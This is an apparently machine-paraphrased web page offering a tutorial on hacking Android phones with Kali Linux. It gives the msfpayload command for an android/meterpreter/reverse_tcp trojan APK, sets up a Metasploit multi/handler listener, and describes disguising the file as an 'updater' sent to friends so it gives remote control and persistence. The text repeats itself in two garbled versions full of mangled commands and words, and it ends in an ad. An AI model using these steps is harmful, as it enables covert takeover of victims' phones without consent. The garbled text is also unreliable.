

## How to hack android password using kali linux

 I'm not robot  reCAPTCHA

**Continue**

Hello hackers! Welcome to my second post. This is a tutorial on how to jailbreak Android phones with Kali. I don't see any tutorial explaining this terminal pirate and creating Trojan .Apk. This goes through: MSFPayLoad Android /Meterpreter /Reverse tcp host=192.168.0.4 r~ /root /updater Interst using your public/external IP Lhost and Port Transfer (if you have any problems, ask me to forward the port in the comments section) Open another terminal until you see. Load the metasploit console by typing: MSFConsole After loading (this takes a while), load the fear of several functions: Use feat / multi / handler. Meterpreter / Reverse Tcp To define the host type: Define LHOST 192.168.0.4 (although here you hack the WAN type to your private/internal IP instead of public/external) Last type: Exploit Listener. Copy the created application (Updater.apk) to the root folder of your Android phone. Then upload it to Dropbox or a share site (e.g. www.speedyshare.com) for download. Then send the link that the website gave you to your friends and use their phones (LAN only, but if you used the WAN method you can use this feat anywhere on the internet), let the victim den install updater ( How would you think that updates some features of his phone), but to install Troy you need to enable the (other) option to install the app in your Android phone's security settings. And when he presses the hole... he comes to the counter prompt: ----- Pirate ----- Next Come and learn more! Some edition mods that work on Windows may not work on Android, for example: Execute Killav. Persistence (permanent door theft), etc. Thank you! FEAR. Do you want to make money as a white hacker? Now (90% off) > Other valid offers: Kali Linux is a Linux distribution by Debian for digital forensics and penetration testing. It is maintained and fundedHello hackers! Hello in my second post, it is a guide on how to hack Android phones with Kali. I don't see any tutorials describing this hack/exploit so I created it. Terminal and create an .apk Trojan file. You can do this by entering: msfpayload android/meterpreter/reverse\_tcp host=192.168.0.4 r~ /root/upgrader.apk (replace LHOST with your IP address), for example you can also hack Android over WAN. On the internet, open another terminal using the public/external IP address in LHOST and redirecting the ports (ask me for the forwarding port if you have problems in the comments section) until the file is created. Install the Metasploit console by entering: MSFCONSOLE After downloading (takes some time) Install an exploit that supports many functions: USEXPloit/Multi/Handler Set (reverse) Load. Input: LINKED/METERPRETRETRE/REPINESER TCP SET to set the Main Type: LHOST 192.168. Set it to 0.4 (also if you hack the WAN network, put your private/internal IP address here, not public/external) Finally: Exploit to start eavesdropping. Copy the created app (upgrader.apk) from the main folder to the Android phone. Then post it to Dropbox or any other website (like www.speedyshare.com). Then send a link to a link that gives you a site and uses their phone (a local network only, but if you used the WAN method, you can use the exploit anywhere on the internet). Let the victim install the booster app (because he might think it's meant to update some functionality on his phone). And when pressed, it turns on ... a meter write monitor appears: ----- Sign in to learn more! Some mail modules that work on Windows may not work on Android. For example: Kilav, Perseverance (continuous backdoor) etc. Running! Thanks! FEAR. Want to start earning as a hacker in a white hat?
